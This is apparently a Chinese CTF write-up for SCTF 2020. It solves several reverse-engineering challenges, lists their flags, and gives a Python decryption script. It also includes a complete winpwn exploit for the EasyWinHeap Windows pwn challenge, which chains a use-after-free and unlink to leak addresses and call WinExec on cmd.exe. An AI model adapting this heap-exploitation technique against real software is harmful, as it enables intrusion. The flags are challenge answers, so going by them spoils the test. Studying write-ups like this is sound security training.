sctf re writeup
re
get_up
smc+md5+rc4

md5解出sycsyc
后面又一个smc然后rc4
SCTF{zzz~(|3[___]_rc4_5o_e4sy}
signin
python打包,解包,找字符串后添加文件头一气呵成
结果反编译不了,很懵逼,猜测花指令,查看后发现没有
后来看了wp知道是python3.8…太坑了,以前都是直接百度python在线反编译拖进去就行了
反编译后大致逻辑就出来了
看temp.dll,一个多项式算法一个xor
SCTF{We1c0m3_To_Sctf_2020_re_!!}
easyre
挺有意思的题目,有个假flag一开始没看到

因为题目有花和简单的反调试直接给patch了
上面flag直接输入显示是正确,猜测有校验函数
sub_409FF0才是真正函数,通过40A310注册aexit来执行,调试很简单,再sub_409FF0下断点,因为main有isdebuggerpresent会return,走到aexit就会执行

检查是否解密成功(如果在main函数下断点会影响解密,具体可以自己看解密dll流程,这也就是那个“校验”)

向指定地址写入dll

下面imagebase相减一看就知道是重定位操作了,可以忽视,一般不需要重定位,前面alloc的时候已经指定目标dll地址为imagebase了

然后调用初始化dll

这边调用的才是真正的打印函数

后面sub_40CBB0计算出encode函数然后调用

把dll dump出来后看encode函数即可

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from Crypto.Cipher import AES flag = '' key = 'SCTF2020'.encode('hex') aes = AES.new(key,AES.MODE_ECB) a = [142, 56, 81, 115, 166, 153, 42, 240, 218, 213, 106, 145, 233, 78, 152, 206, 42, 183, 61, 64, 241, 229, 29, 171, 239, 238, 176, 214, 20, 11, 42, 149] for i in range(len(a)): a[i] ^= 0x55 for i in range(7): a[21+i] = (((a[21+i]&0xaa)>>1)&0xff)|(((a[21+i]<<1)&0xaa)&0xff) a[21+i] ^= 0xad a[14 + i] = (((a[14 + i] & 0xcc) >> 2) & 0xff) | (((a[14 + i] << 2) & 0xcc) & 0xff) a[14 + i] ^= 0xbe a[7 + i] = (((a[7 + i] & 0xff) >> 4) & 0xff) | (((a[7 + i] << 4) & 0xff) & 0xff) a[7 + i] ^= 0xef for i in range(len(a)): flag += chr(a[i]) print aes.decrypt(flag)
|
orz
这题相对上面就没啥新东西了
前面有类似伪随机数的操作取输入三个为种子
后面操作也不难还有个des
SCTF{b5c0b187fe309af0f4d35982fd}
pwn
EasyWinHeap
windows pwn
早就想入门了,一直没时间,正好考完补比赛wp时看到sctf居然有个winpwn

功能四个
delete处没有置零存在uaf
edit处存在堆溢出,具体看size,寸size的时候存了size>>4 + 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from winpwn import * context.arch='i386'
a=process("./EasyWinHeap.exe")
def add(size): a.recvuntil("option >") a.sendline("1") a.recvuntil("size >") a.sendline(str(size)) def delete(index): a.recvuntil("option >") a.sendline("2") a.recvuntil("index >") a.sendline(str(index)) def show(index): a.recvuntil("option >") a.sendline("3") a.recvuntil("index >") a.sendline(str(index)) def edit(index,content): a.recvuntil("option >") a.sendline("4") a.recvuntil("index >") a.sendline(str(index)) a.recvuntil("content >") a.sendline(content)
for i in range(6): add(0x30)
delete(2) delete(4) show(2) a.recvuntil('\r\n') heap_addr = u32(a.recv(4).ljust(4,'\x00')) heap_addr -= 0x580 idx2pptr = heap_addr + 0x4ac print 'heap_addr --> ' + hex(heap_addr) edit(2, p32(idx2pptr-4)+p32(idx2pptr)) delete(1)
edit(2,p32(idx2pptr+4*3)) show(2) a.recvuntil('\r\n') puts_addr = u32(a.recv(3).ljust(4,'\x00')) image_base = puts_addr - 0x1044 print 'puts_addr --> ' + hex(puts_addr) print 'image_base --> ' + hex(image_base)
idata_heapfree = image_base + 0x2004 edit(2,p32(puts_addr)+p32(idata_heapfree)) show(4) a.recvuntil('\r\n') heapfree_addr = u32(a.recv(4).ljust(4,'\x00')) print 'heapfree_addr --> ' + hex(heapfree_addr) winexec = heapfree_addr - 0x1dec0 + 0x5CD60
edit(2,p32(winexec)+p32(idx2pptr)) edit(4,'cmd.exe\x00\x00') show(4) a.interactive()
|
大致打法是,unlink leak出puts地址,然后计算出image base
接着leak kernel32.dll函数计算出winexec地址
然后调用即可